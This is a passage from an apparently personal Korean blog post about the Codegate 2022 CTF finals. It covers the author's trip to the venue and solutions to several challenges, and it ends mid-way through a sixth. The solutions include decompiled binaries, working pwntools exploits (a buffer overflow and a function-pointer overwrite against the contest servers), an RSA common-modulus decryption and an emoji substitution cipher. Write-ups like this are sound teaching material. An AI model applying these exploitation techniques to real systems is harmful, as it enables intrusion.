2022년 2월에 예선을 9위로 본선에 오게 되었고 10위로 마무리 짓게 되었다.
장소는 서울 코엑스.
7700으로 집 바로 앞에서 가양역 종점까지 간 후 9호선 타고 봉은사역까지 가면 된다.
네이버 지도상으로 1시간 30분정도 걸린다하길래 10시 대회 시작에 맞춰 8시에 집에서 나왔다.
하지만 버스가 서울에 진입하는 순간 차가 꽉꽉 막히고 9호선 급행이 아닌 일반 열차를 탑승해서 봉은사역까지 한참 걸려 9시 50분에 봉은사역에서 내렸다.
다행히 봉은사역 7번 출구로 나오면 코엑스가 바로 앞이라 바로 들어갔는데, 코엑스가 넓어서 어디로 가야할지 잘 몰랐다. 그렇게 10시 5분에 대회장 도착하고 허겁지겁 노트북을 꺼내서 접속하려는데 와이파이 비번이 안 맞는 이슈가 생겼지만 스탭 분이 와이파이 에그를 주셔서 해결할 수 있었다.
1. Simple BOF - 19 solves / pwnable
대회 시작하고 문제들을 둘러보다가, 먼저 솔브 난 문제들을 차례대로 풀기 시작했다.
먼저 시스템 해킹에 Simple BOF 문제.
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int128 v4; // [rsp+0h] [rbp-70h]
__int128 v5; // [rsp+10h] [rbp-60h]
__int128 v6; // [rsp+20h] [rbp-50h]
__int128 v7; // [rsp+30h] [rbp-40h]
__int128 v8; // [rsp+40h] [rbp-30h]
__int128 v9; // [rsp+50h] [rbp-20h]
int v10; // [rsp+60h] [rbp-10h]
int v11; // [rsp+68h] [rbp-8h]
int v12; // [rsp+6Ch] [rbp-4h]
v4 = 0uLL;
v5 = 0uLL;
v6 = 0uLL;
v7 = 0uLL;
v8 = 0uLL;
v9 = 0uLL;
v10 = 0;
v12 = 0;
setup();
v11 = set_canary();
printf("What is your name? ", argv, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, *&v10);
__isoc99_scanf("%s", &v4);
printf("your name is %s\n", &v4, v4, v5, v6, v7, v8, v9, *&v10);
if ( v12 == 0xDEADEACE )
get_flag();
if ( v11 != CANARY )
exit(0);
return 0;
}
from pwn import *
p = remote('43.201.97.189', 5333)
p.sendlineafter('name?',b'a'*(0x70-0x4) + p32(0XDEADEACE))
p.interactive()
%s 로 입력받기 때문에 오버플로우가 발생하고, 이를 통해 v12를 임의의 값으로 변조시킬 수 있다.
2. master of arithmetic - 18 solves / MISC
from pwn import *
context.log_level = 'debug'
p = remote('13.124.246.88', 8000)
for _ in range(20):
p.recvuntil(f'Problem {_}\n')
exp = str(p.recvuntil('=')).split('=')[0].split("b'")[1]
val = int(eval(exp))
p.sendline(str(val))
p.interactive()
eval! eval!
이후 11시쯤 조---용 하던 대회 장 내에 스눕 독의 노래가 울려 퍼졌다.
너무 급하게 온지라 디스코드 서버도 접속 못했는데, 위 두 문제 풀고 나서 디스코드 들어가보니 music requests 채널이 있었다. 대회 끝날 때까지 정말 많은 노래들이 올라왔고, 다양한 장르의 노래가 흘러나왔다.
ㅋㅋㅋㅋㅋ 광기가 느껴지는 채팅.. 이후로 애니노래, 트로트, 애미넴, 걸그룹, k-힙합 등 꾸준히 계속 올라왔다.
나도 조심스레..
3. Mathmatics - 15 solves / crypto
from secret import FLAG, confirmed_phi
import gmpy2
class RSA_Generator():
def __init__(self, N:int, phi:int, e:int):
self.n = N
self.phi = phi
self.e = e
self.d = 0
self.get_moduler_inv()
def get_moduler_inv(self):
self.d = gmpy2.invert(self.e, self.phi)
assert self.d != 0
def encrypt(self, msg:int):
return pow(msg, self.e, self.n)
def decrypt(self, cipher:int):
return pow(cipher, self.d, self.n)
def main():
confirmed_n = 530608211275513140366213138576723793063425255614923916339818296370965195790170509377272816425755124935117505883803711912448089542645382900611950157918984019577954045101766666641238782097999510625875880969945471060158125437911539276388013871362986018325401113892681619320340704004127463091857351199317633994571579952934196595940153186110524883992930224361870545884119798418793773606942649578976020070310101589489301325141130049757844603712484465320142622014398855573242395860195081413402454165102037618128916290867959544566706382208694897560692739599385906736064223144970858620904311410004277627671783
message = int.from_bytes(FLAG, 'big')
rsa1 = RSA_Generator(N=confirmed_n, phi=confirmed_phi, e=65537)
rsa2 = RSA_Generator(N=confirmed_n, phi=confirmed_phi, e=11731)
cipher1 = rsa1.encrypt(message)
cipher2 = rsa2.encrypt(message)
with open('cipher1', 'w') as f:
f.write(str(cipher1))
with open('cipher2', 'w') as f:
f.write(str(cipher2))
decrypted1 = int(rsa1.decrypt(cipher1)).to_bytes(45,'big')
print(decrypted1) # decrypt flag ok!
decrypted2 = int(rsa2.decrypt(cipher2)).to_bytes(45,'big')
print(decrypted2) # decrypt flag ok!
if __name__ == "__main__":
main()
같은 n, phi 과 서로소인 두 e 값으로 flag를 암호화 한 값 2개를 알려준다.
https://party4bread.github.io/a-year-of-ctf-rsa/
https://xerxes-break.tistory.com/341
위 2 글을 보고 풀었다.
위와 같이 적절한 a와 b를 찾기만 하면 원문을 알아낼 수 있다. ( z3으로... ㅎㅎ)
from z3 import *
s = Solver()
x = Int('x')
y = Int('y')
s.add(x * 65537 + y * 11731 == 1)
if s.check():
print(s.model())
구한 값을 바탕으로 원문을 알아내는 코드는 다음과 같다.
n = 530608211275513140366213138576723793063425255614923916339818296370965195790170509377272816425755124935117505883803711912448089542645382900611950157918984019577954045101766666641238782097999510625875880969945471060158125437911539276388013871362986018325401113892681619320340704004127463091857351199317633994571579952934196595940153186110524883992930224361870545884119798418793773606942649578976020070310101589489301325141130049757844603712484465320142622014398855573242395860195081413402454165102037618128916290867959544566706382208694897560692739599385906736064223144970858620904311410004277627671783
c1 = 36438785448993034686319725528189192854463151662047410787227922472649376988517578574739948014360868712767703814105348128280340128939238535870532598929770331230858903476818025917271405175287372062625882551287048889017803584186380153095109131743562028934469362853792211973654740907312518795378145540926223924479122691199553850552127169415722835585231774507859734000109872494993889601024066569604368136614240776022505481719558228444943141026367964278184575717257240100749291352017125500119659786838130694989077975539301274525538419859900000660538238458822546354653698743617030591065087263349564991665849
c2 = 454045540371169334472351754484136780129066219703489904165202842522515664378538610447624560284169053268730975791349131234222808083488597486803727304405099404081868654631796931174509511691927858633690661209034072047272183265894764752839929020695260728240428345390829399265245232898345572532352424374555423507654005941229433225611956943133363918291490204626186412647847220114809916647068100876659371702917383788830054608420673772563553420797641488934352031754512664158636253136857155982303012426019741495093518469924228444208995681120899429608361648412150864338383128649019067200581109180307642009088751
k = (pow(c1,-4195,n) * pow(c2,23436,n)) % n
print(k.to_bytes(45,'big'))
모듈로 역원을 구한뒤 -a 를 거듭제곱하여도 답이 나온다.
4. Emojies - 10 solves / crypto
😂😎😢😮 😝🙄😂😎 🐺 😑😉😆😮 😑😵😮😊😮 😰😉😠😮😍 😉😎 🐺 😢😮😊😑🐺😉😎 😠😉😰😰🐺😐😮 🐺 😰😉😑😑😰😮 😢😂😝😎😑😊🥺 😐😉😊😰, 😑😵😮 🙄😊😮😑😑😉😮🤣😑 😢😊😮🐺😑😝😊😮 😱😵😂 😱🐺🤣 😮😠😮😊 🤣😮😮😎. 😵😮😊 😆😂😑😵😮😊 😱🐺🤣 😮🤔😢😮🤣🤣😉😠😮😰🥺 😃😂😎😍 😂😃 😵😮😊; 🐺😎😍 😵😮😊 😐😊🐺😎😍😆😂😑😵😮😊 😍😂😑😮😍 😂😎 😵😮😊 🤣😑😉😰😰 😆😂😊😮. 😑😵😉🤣 😐😂😂😍 😱😂😆🐺😎 😵🐺😍 🐺 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍 😆🐺😍😮 😃😂😊 😵😮😊. 😉😑 🤣😝😉😑😮😍 😑😵😮 😐😉😊😰 🤣😂 😮🤔😑😊😮😆😮😰🥺 😱😮😰😰 😑😵🐺😑 😮😠😮😊🥺🙃😂😍🥺 😢🐺😰😰😮😍 😵😮😊 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍.
😂😎😮 😍🐺🥺 😵😮😊 😆😂😑😵😮😊, 😵🐺😠😉😎😐 😆🐺😍😮 🤣😂😆😮 😢🐺🤪😮🤣, 🤣🐺😉😍 😑😂 😵😮😊, "😐😂, 😆🥺 😍😮🐺😊, 🐺😎😍 🤣😮😮 😵😂😱 🥺😂😝😊 😐😊🐺😎😍😆😂😑😵😮😊 😉🤣 😍😂😉😎😐, 😃😂😊 😉 😵😮🐺😊 🤣😵😮 😵🐺🤣 🙃😮😮😎 😠😮😊🥺 😉😰😰. 😑🐺🤪😮 😵😮😊 🐺 😢🐺🤪😮, 🐺😎😍 😑😵😉🤣 😰😉😑😑😰😮 🙄😂😑 😂😃 🙃😝😑😑😮😊."
😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍 🤣😮😑 😂😝😑 😉😆😆😮😍😉🐺😑😮😰🥺 😑😂 😐😂 😑😂 😵😮😊 😐😊🐺😎😍😆😂😑😵😮😊, 😱😵😂 😰😉😠😮😍 😉😎 🐺😎😂😑😵😮😊 😠😉😰😰🐺😐😮.
🐺🤣 🤣😵😮 😱🐺🤣 😐😂😉😎😐 😑😵😊😂😝😐😵 😑😵😮 😱😂😂😍, 🤣😵😮 😆😮😑 😱😉😑😵 🐺 😱😂😰😃, 😱😵😂 😵🐺😍 🐺 😠😮😊🥺 😐😊😮🐺😑 😆😉😎😍 😑😂 😮🐺😑 😵😮😊 😝🙄, 🙃😝😑 😵😮 😍🐺😊😮😍 😎😂😑, 🙃😮😢🐺😝🤣😮 😂😃 🤣😂😆😮 😱😂😂😍😢😝😑😑😮😊🤣 😱😂😊🤪😉😎😐 😎😮🐺😊🙃🥺 😉😎 😑😵😮 😃😂😊😮🤣😑. 😵😮 🐺🤣🤪😮😍 😵😮😊 😱😵😮😊😮 🤣😵😮 😱🐺🤣 😐😂😉😎😐. 😑😵😮 🙄😂😂😊 😢😵😉😰😍, 😱😵😂 😍😉😍 😎😂😑 🤪😎😂😱 😑😵🐺😑 😉😑 😱🐺🤣 😍🐺😎😐😮😊😂😝🤣 😑😂 🤣😑🐺🥺 🐺😎😍 😑🐺😰🤪 😑😂 🐺 😱😂😰😃, 🤣🐺😉😍 😑😂 😵😉😆, "😉 🐺😆 😐😂😉😎😐 😑😂 🤣😮😮 😆🥺 😐😊🐺😎😍😆😂😑😵😮😊 🐺😎😍 😢🐺😊😊🥺 😵😮😊 🐺 😢🐺🤪😮 🐺😎😍 🐺 😰😉😑😑😰😮 🙄😂😑 😂😃 🙃😝😑😑😮😊 😃😊😂😆 😆🥺 😆😂😑😵😮😊."
"😍😂😮🤣 🤣😵😮 😰😉😠😮 😃🐺😊 😂😃😃?" 🤣🐺😉😍 😑😵😮 😱😂😰😃.
"😂😵 😉 🤣🐺🥺," 🐺😎🤣😱😮😊😮😍 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍; "😉😑 😉🤣 🙃😮🥺😂😎😍 😑😵🐺😑 😆😉😰😰 🥺😂😝 🤣😮😮 😑😵😮😊😮, 🐺😑 😑😵😮 😃😉😊🤣😑 😵😂😝🤣😮 😉😎 😑😵😮 😠😉😰😰🐺😐😮."
"😱😮😰😰," 🤣🐺😉😍 😑😵😮 😱😂😰😃, "🐺😎😍 😉'😰😰 😐😂 🐺😎😍 🤣😮😮 😵😮😊 😑😂😂. 😉'😰😰 😐😂 😑😵😉🤣 😱🐺🥺 🐺😎😍 😐😂 🥺😂😝 😑😵🐺😑, 🐺😎😍 😱😮 🤣😵🐺😰😰 🤣😮😮 😱😵😂 😱😉😰😰 🙃😮 😑😵😮😊😮 😃😉😊🤣😑."
😑😵😮 😱😂😰😃 😊🐺😎 🐺🤣 😃🐺🤣😑 🐺🤣 😵😮 😢😂😝😰😍, 😑🐺🤪😉😎😐 😑😵😮 🤣😵😂😊😑😮🤣😑 🙄🐺😑😵, 🐺😎😍 😑😵😮 😰😉😑😑😰😮 😐😉😊😰 😑😂😂🤪 🐺 😊😂😝😎😍🐺🙃😂😝😑 😱🐺🥺, 😮😎😑😮😊😑🐺😉😎😉😎😐 😵😮😊🤣😮😰😃 🙃🥺 😐🐺😑😵😮😊😉😎😐 😎😝😑🤣, 😊😝😎😎😉😎😐 🐺😃😑😮😊 🙃😝😑😑😮😊😃😰😉😮🤣, 🐺😎😍 😐🐺😑😵😮😊😉😎😐 🙃😂😝😒😝😮😑🤣 😂😃 😰😉😑😑😰😮 😃😰😂😱😮😊🤣. 😉😑 😱🐺🤣 😎😂😑 😰😂😎😐 🙃😮😃😂😊😮 😑😵😮 😱😂😰😃 🐺😊😊😉😠😮😍 🐺😑 😑😵😮 😂😰😍 😱😂😆🐺😎'🤣 😵😂😝🤣😮. 😵😮 🤪😎😂😢🤪😮😍 🐺😑 😑😵😮 😍😂😂😊: 😑🐺🙄, 😑🐺🙄.
"😱😵😂'🤣 😑😵😮😊😮?"
"🥺😂😝😊 😐😊🐺😎😍😢😵😉😰😍, 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍," 😊😮🙄😰😉😮😍 😑😵😮 😱😂😰😃, 😢😂😝😎😑😮😊😃😮😉😑😉😎😐 😵😮😊 😠😂😉😢😮; "😱😵😂 😵🐺🤣 🙃😊😂😝😐😵😑 🥺😂😝 🐺 😢🐺🤪😮 🐺😎😍 🐺 😰😉😑😑😰😮 🙄😂😑 😂😃 🙃😝😑😑😮😊 🤣😮😎😑 🥺😂😝 🙃🥺 😆😂😑😵😮😊."
😑😵😮 😐😂😂😍 😐😊🐺😎😍😆😂😑😵😮😊, 😱😵😂 😱🐺🤣 😉😎 🙃😮😍, 🙃😮😢🐺😝🤣😮 🤣😵😮 😱🐺🤣 🤣😂😆😮😱😵🐺😑 😉😰😰, 😢😊😉😮😍 😂😝😑, "🙄😝😰😰 😑😵😮 🤣😑😊😉😎😐, 🐺😎😍 😑😵😮 😰🐺😑😢😵 😱😉😰😰 😐😂 😝🙄."
😑😵😮 😱😂😰😃 🙄😝😰😰😮😍 😑😵😮 🤣😑😊😉😎😐 😎, 🐺😎😍 😑😵😮 😍😂😂😊 😂🙄😮😎😮😍, 🐺😎😍 😑😵😮😎 😵😮 😉😆😆😮😍😉🐺😑😮😰🥺 😃😮😰😰 😝🙄😂😎 😑😵😮 😐😂😂😍 😱😂😆🐺😎 🐺😎😍 🐺😑😮 😵😮😊 😝🙄 😉😎 🐺 😆😂😆😮😎😑, 😃😂😊 😉😑 🙃😮😮😎 😆😂😊😮 😑😵🐺😎 😑😵😊😮😮 😍🐺🥺🤣 🤣😉😎😢😮 😵😮 😵🐺😍 😮🐺😑😮😎. 😵😮 😑😵😮😎 🤣😵😝😑 😑😵😮 😍😂😂😊 🐺😎😍 😐😂😑 😉😎😑😂 😑😵😮 😐😊🐺😎😍😆😂😑😵😮😊'🤣 🙃😮😍, 😮🤔🙄😮😢😑😉😎😐 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍, 😱😵😂 😢🐺😆😮 🤣😂😆😮 😑😉😆😮 🐺😃😑😮😊😱🐺😊😍🤣 🐺😎😍 🤪😎😂😢🤪😮😍 🐺😑 😑😵😮 😍😂😂😊: 😑🐺🙄, 😑🐺🙄.
"😱😵😂'🤣 😑😵😮😊😮?"
😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍, 😵😮🐺😊😉😎😐 😑😵😮 🙃😉😐 😠😂😉😢😮 😂😃 😑😵😮 😱😂😰😃, 😱🐺🤣 🐺😑 😃😉😊🤣😑 🐺😃😊🐺😉😍; 🙃😝😑 🙃😮😰😉😮😠😉😎😐 😵😮😊 😐😊🐺😎😍😆😂😑😵😮😊 😵🐺😍 🐺 😢😂😰😍 🐺😎😍 😱🐺🤣 😵😂🐺😊🤣😮, 🐺😎🤣😱😮😊😮😍, "😉😑 😉🤣 🥺😂😝😊 😐😊🐺😎😍😢😵😉😰😍 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍, 😱😵😂 😵🐺🤣 🙃😊😂😝😐😵😑 🥺😂😝 🐺 😢🐺🤪😮 🐺😎😍 🐺 😰😉😑😑😰😮 🙄😂😑 😂😃 🙃😝😑😑😮😊 😆😂😑😵😮😊 🤣😮😎😍🤣 🥺😂😝."
😑😵😮 😱😂😰😃 😢😊😉😮😍 😂😝😑 😑😂 😵😮😊, 🤣😂😃😑😮😎😉😎😐 😵😉🤣 😠😂😉😢😮 🐺🤣 😆😝😢😵 🐺🤣 😵😮 😢😂😝😰😍, "🙄😝😰😰 😑😵😮 🤣😑😊😉😎😐, 🐺😎😍 😑😵😮 😰🐺😑😢😵 😱😉😰😰 😐😂 😝🙄."
😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍 🙄😝😰😰😮😍 😑😵😮 🤣😑😊😉😎😐, 🐺😎😍 😑😵😮 😍😂😂😊 😂🙄😮😎😮😍.
😑😵😮 😱😂😰😃, 🤣😮😮😉😎😐 😵😮😊 😢😂😆😮 😉😎, 🤣🐺😉😍 😑😂 😵😮😊, 😵😉😍😉😎😐 😵😉😆🤣😮😰😃 😝😎😍😮😊 😑😵😮 🙃😮😍😢😰😂😑😵😮🤣, "🙄😝😑 😑😵😮 😢🐺🤪😮 🐺😎😍 😑😵😮 😰😉😑😑😰😮 🙄😂😑 😂😃 🙃😝😑😑😮😊 😝🙄😂😎 😑😵😮 🤣😑😂😂😰, 🐺😎😍 😢😂😆😮 🤣😉😑 😂😎 😑😵😮 🙃😮😍 😱😉😑😵 😆😮."
😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍 🤣🐺😑 😂😎 😑😵😮 🙃😮😍. 🤣😵😮 😱🐺🤣 😐😊😮🐺😑😰🥺 🐺😆🐺😴😮😍 😑😂 🤣😮😮 😵😂😱 😵😮😊 😐😊🐺😎😍😆😂😑😵😮😊 😰😂😂🤪😮😍 😉😎 😵😮😊 😎😉😐😵😑😢😰😂😑😵😮🤣, 🐺😎😍 🤣🐺😉😍 😑😂 😵😮😊, "😐😊🐺😎😍😆😂😑😵😮😊, 😱😵🐺😑 🙃😉😐 🐺😊😆🤣 🥺😂😝 😵🐺😠😮!"
"🐺😰😰 😑😵😮 🙃😮😑😑😮😊 😑😂 😵😝😐 🥺😂😝 😱😉😑😵, 😆🥺 😍😮🐺😊."
"😐😊🐺😎😍😆😂😑😵😮😊, 😱😵🐺😑 🙃😉😐 😰😮😐🤣 🥺😂😝 😵🐺😠😮!"
"🐺😰😰 😑😵😮 🙃😮😑😑😮😊 😑😂 😊😝😎 😱😉😑😵, 😆🥺 😢😵😉😰😍."
"😐😊🐺😎😍😆😂😑😵😮😊, 😱😵🐺😑 🙃😉😐 😮🐺😊🤣 🥺😂😝 😵🐺😠😮!"
"🐺😰😰 😑😵😮 🙃😮😑😑😮😊 😑😂 😵😮🐺😊 😱😉😑😵, 😆🥺 😢😵😉😰😍."
"😐😊🐺😎😍😆😂😑😵😮😊, 😱😵🐺😑 🙃😉😐 😮🥺😮🤣 🥺😂😝 😵🐺😠😮!"
"🐺😰😰 😑😵😮 🙃😮😑😑😮😊 😑😂 🤣😮😮 😱😉😑😵, 😆🥺 😢😵😉😰😍."
"😐😊🐺😎😍😆😂😑😵😮😊, 😱😵🐺😑 🙃😉😐 😑😮😮😑😵 🥺😂😝 😵🐺😠😮 😐😂😑!"
"🐺😰😰 😑😵😮 🙃😮😑😑😮😊 😑😂 😮🐺😑 🥺😂😝 😝🙄 😱😉😑😵."
🐺😎😍, 🤣🐺🥺😉😎😐 😑😵😮🤣😮 😱😂😊😍🤣, 😑😵😉🤣 😱😉😢🤪😮😍 😱😂😰😃 😃😮😰😰 😝🙄😂😎 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍, 🐺😎😍 🐺😑😮 😵😮😊 🐺😰😰 😝🙄.
😑😵😮😊😮😃😂😊😮 😃😰🐺😐 😉🤣 😮😵😍😐😵🤪🤣😆🤣🤣😆😊😮😂😍😵🤪😒😎😃😊😍😆🤣😑😂😊🐺🤪😍🤔😵. 🤣😂 🥺😂😝 🤣😝🙃😆😉😑 😉😑 😉😎 😑😵😮 😃😂😊😆🐺😑 🐺😢😢😂😊😍😉😎😐 😑😂 😑😵😮 🙄😊😂🙃😰😮😆 😍😮🤣😢😊😉🙄😑😉😂😎.
딱 보면 뭐다? 빈도수 공격이다~ 최근 중부대 씨텦에서도 나왔기에 https://quipqiup.com/ 사이트를 알고 있었다.
일단 저 이모지들을 알파벳으로 치환시켜줄건데.. 코드 짜는게 더 오래걸릴 것 같아서 그냥 Ctrl + F + H로 하나씩 바꿨다.
어차피 알파벳은 26자니까 ㅎ
abcd efab g hijd hkdld mindo ib g cdlhgib nimmgpd g mihhmd caebhlq pilm, hkd fldhhidrh cldgheld ska sgr dndl rddb. kdl jahkdl sgr dtcdrrindmq uabo au kdl; gbo kdl plgbojahkdl oahdo ab kdl rhimm jald. hkir paao sajgb kgo g mihhmd ldo lioibp kaao jgod ual kdl. ih reihdo hkd pilm ra dthldjdmq sdmm hkgh dndlqvaoq cgmmdo kdl mihhmd ldo lioibp kaao.
abd ogq kdl jahkdl, kgnibp jgod rajd cgwdr, rgio ha kdl, "pa, jq odgl, gbo rdd kas qael plgbojahkdl ir oaibp, ual i kdgl rkd kgr vddb ndlq imm. hgwd kdl g cgwd, gbo hkir mihhmd fah au vehhdl."
mihhmd ldo lioibp kaao rdh aeh ijjdoighdmq ha pa ha kdl plgbojahkdl, ska mindo ib gbahkdl nimmgpd.
gr rkd sgr paibp hklaepk hkd saao, rkd jdh sihk g samu, ska kgo g ndlq pldgh jibo ha dgh kdl ef, veh kd ogldo bah, vdcgerd au rajd saaocehhdlr salwibp bdglvq ib hkd ualdrh. kd grwdo kdl skdld rkd sgr paibp. hkd faal ckimo, ska oio bah wbas hkgh ih sgr ogbpdlaer ha rhgq gbo hgmw ha g samu, rgio ha kij, "i gj paibp ha rdd jq plgbojahkdl gbo cgllq kdl g cgwd gbo g mihhmd fah au vehhdl ulaj jq jahkdl."
"oadr rkd mind ugl auu?" rgio hkd samu.
"ak i rgq," gbrsdldo mihhmd ldo lioibp kaao; "ih ir vdqabo hkgh jimm qae rdd hkdld, gh hkd uilrh kaerd ib hkd nimmgpd."
"sdmm," rgio hkd samu, "gbo i'mm pa gbo rdd kdl haa. i'mm pa hkir sgq gbo pa qae hkgh, gbo sd rkgmm rdd ska simm vd hkdld uilrh."
hkd samu lgb gr ugrh gr kd caemo, hgwibp hkd rkalhdrh fghk, gbo hkd mihhmd pilm haaw g laebogvaeh sgq, dbhdlhgibibp kdlrdmu vq pghkdlibp behr, lebbibp guhdl vehhdlumidr, gbo pghkdlibp vaeyedhr au mihhmd umasdlr. ih sgr bah mabp vduald hkd samu gllindo gh hkd amo sajgb'r kaerd. kd wbacwdo gh hkd oaal: hgf, hgf.
"ska'r hkdld?"
"qael plgbockimo, mihhmd ldo lioibp kaao," ldfmido hkd samu, caebhdludihibp kdl naicd; "ska kgr vlaepkh qae g cgwd gbo g mihhmd fah au vehhdl rdbh qae vq jahkdl."
hkd paao plgbojahkdl, ska sgr ib vdo, vdcgerd rkd sgr rajdskgh imm, clido aeh, "femm hkd rhlibp, gbo hkd mghck simm pa ef."
hkd samu femmdo hkd rhlibp b, gbo hkd oaal afdbdo, gbo hkdb kd ijjdoighdmq udmm efab hkd paao sajgb gbo ghd kdl ef ib g jajdbh, ual ih vddb jald hkgb hkldd ogqr ribcd kd kgo dghdb. kd hkdb rkeh hkd oaal gbo pah ibha hkd plgbojahkdl'r vdo, dtfdchibp mihhmd ldo lioibp kaao, ska cgjd rajd hijd guhdlsglor gbo wbacwdo gh hkd oaal: hgf, hgf.
"ska'r hkdld?"
mihhmd ldo lioibp kaao, kdglibp hkd vip naicd au hkd samu, sgr gh uilrh gulgio; veh vdmidnibp kdl plgbojahkdl kgo g camo gbo sgr kaglrd, gbrsdldo, "ih ir qael plgbockimo mihhmd ldo lioibp kaao, ska kgr vlaepkh qae g cgwd gbo g mihhmd fah au vehhdl jahkdl rdbor qae."
hkd samu clido aeh ha kdl, rauhdbibp kir naicd gr jeck gr kd caemo, "femm hkd rhlibp, gbo hkd mghck simm pa ef."
mihhmd ldo lioibp kaao femmdo hkd rhlibp, gbo hkd oaal afdbdo.
hkd samu, rddibp kdl cajd ib, rgio ha kdl, kioibp kijrdmu ebodl hkd vdocmahkdr, "feh hkd cgwd gbo hkd mihhmd fah au vehhdl efab hkd rhaam, gbo cajd rih ab hkd vdo sihk jd."
mihhmd ldo lioibp kaao rgh ab hkd vdo. rkd sgr pldghmq gjgxdo ha rdd kas kdl plgbojahkdl maawdo ib kdl bipkhcmahkdr, gbo rgio ha kdl, "plgbojahkdl, skgh vip gljr qae kgnd!"
"gmm hkd vdhhdl ha kep qae sihk, jq odgl."
"plgbojahkdl, skgh vip mdpr qae kgnd!"
"gmm hkd vdhhdl ha leb sihk, jq ckimo."
"plgbojahkdl, skgh vip dglr qae kgnd!"
"gmm hkd vdhhdl ha kdgl sihk, jq ckimo."
"plgbojahkdl, skgh vip dqdr qae kgnd!"
"gmm hkd vdhhdl ha rdd sihk, jq ckimo."
"plgbojahkdl, skgh vip hddhk qae kgnd pah!"
"gmm hkd vdhhdl ha dgh qae ef sihk."
gbo, rgqibp hkdrd salor, hkir sicwdo samu udmm efab mihhmd ldo lioibp kaao, gbo ghd kdl gmm ef.
hkdlduald umgp ir dkopkwrjrrjldaokwybulojrhalgwotk. ra qae revjih ih ib hkd ualjgh gccaloibp ha hkd flavmdj odrclifhiab.
처음부터 a, b, c .. 로 바꾸다 보면 어느새 다 바뀌어있다. 이후 사이트에 돌려보면
codegate2022{ehdghksmssmreodhkqnfrdmstorakdxh} 가 답이다.
5. chunkyChunk - 15 solves / pwn
// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
signed int v3; // [rsp-Ch] [rbp-Ch]
__int64 v4; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
setup(*&argc, argv, envp);
printf("here is the gift : %p\n", gift);
while ( 1 )
{
while ( 1 )
{
v3 = menu();
if ( v3 != 4 )
break;
edit_chunk(&v4);
}
if ( v3 > 4 )
{
LABEL_13:
puts("invalid choice.");
}
else if ( v3 == 3 )
{
show_chunks(&v4);
}
else
{
if ( v3 > 3 )
goto LABEL_13;
if ( v3 == 1 )
{
add_chunk(&v4);
}
else
{
if ( v3 != 2 )
goto LABEL_13;
del_chunk(&v4);
}
}
}
}
__int64 __usercall show_chunks@<rax>(__int64 a1@<rbp>)
{
__int64 result; // rax
unsigned int i; // [rsp-Ch] [rbp-Ch]
__int64 v3; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v3 = a1;
for ( i = 0; i <= 0x63; ++i )
{
result = chunks[i];
if ( result )
result = (*(chunks[i] + 16LL))(i, chunks[i]);
}
return result;
}
int __usercall edit_chunk@<eax>(__int64 a1@<rbp>)
{
__int64 v2; // ST08_8
unsigned int v3; // [rsp-18h] [rbp-18h]
unsigned int v4; // [rsp-14h] [rbp-14h]
__int64 v5; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v5 = a1;
v3 = read_int(&v5, "Enter ID : ");
if ( v3 > 0xF )
return puts("MAX_CHUNKS error");
if ( !chunks[v3] )
return puts("The chunk corresponding to id isn't in use.");
v4 = read_int(&v5, "Enter size : ");
if ( v4 > 0x64 )
return puts("MAX_SIZE error");
v2 = chunks[v3];
*(v2 + 4) = v4;
return read_buf(&v5, *(v2 + 8), *(v2 + 4));
}
__int64 gift()
{
__asm { endbr64 }
return sub_1130("cat /home/ctf/flag");
}
취약점은 edit 에서 발생하고, size check를 이상하게 해서 함수 포인터를 gift 함수 주소로 덮을 수 있다.
from pwn import *
p =remote('3.35.20.92', 5333)
def add(id,size,buf):
p.sendlineafter(': ', '1')
p.sendlineafter(': ', str(id))
p.sendlineafter(': ', str(size))
p.sendlineafter(': ', buf)
def edit(id,size,buf):
p.sendlineafter(': ', '4')
p.sendlineafter(': ', str(id))
p.sendlineafter(': ', str(size))
p.sendlineafter(': ', buf)
def show():
p.sendlineafter(': ', '3')
p.recvuntil(': ')
gift = int(p.recv(14),16)
add(0,2,'a')
add(1,2,'a')
edit(0,57,b'a'*48 + p64(gift))
show()
p.interactive()
6. findYourKey - 14 solves / pwn
이 문제는 익스가 좀 오래걸렸다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbp
int result; // eax
unsigned __int64 v5; // rdx
unsigned __int64 v6; // rt1
char v7; // [rsp-11h] [rbp-11h]
unsigned __int64 v8; // [rsp-10h] [rbp-10h]
__int64 v9; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v9 = v3;
v8 = __readfsqword(0x28u);
setup();
while ( 1 )
{
while ( 1 )
{
menu();
scanf("%c", &v7);
getchar();
if ( v7 != 'y' && v7 != 'Y' )
break;
match_key(&v9);
}
if ( v7 != 'e' )
break;
bof(&v9);
}
puts("bye.");
result = 0;
v6 = __readfsqword(0x28u);
v5 = v8 - v6;
if ( v8 != v6 )
result = sub_1120("bye.", &v7, v5);
return result;
}
unsigned __int64 __usercall match_key@<rax>(__int64 a1@<rbp>)
{
signed __int64 v1; // rsi
const char *v2; // rdi
__int64 v3; // rdx
unsigned __int64 result; // rax
unsigned __int64 v5; // rt1
unsigned int v6; // [rsp-44h] [rbp-44h]
unsigned __int8 *v7; // [rsp-40h] [rbp-40h]
signed __int64 v8; // [rsp-38h] [rbp-38h]
signed __int64 v9; // [rsp-30h] [rbp-30h]
signed __int16 v10; // [rsp-28h] [rbp-28h]
char v11; // [rsp-26h] [rbp-26h]
unsigned __int64 v12; // [rsp-10h] [rbp-10h]
__int64 v13; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
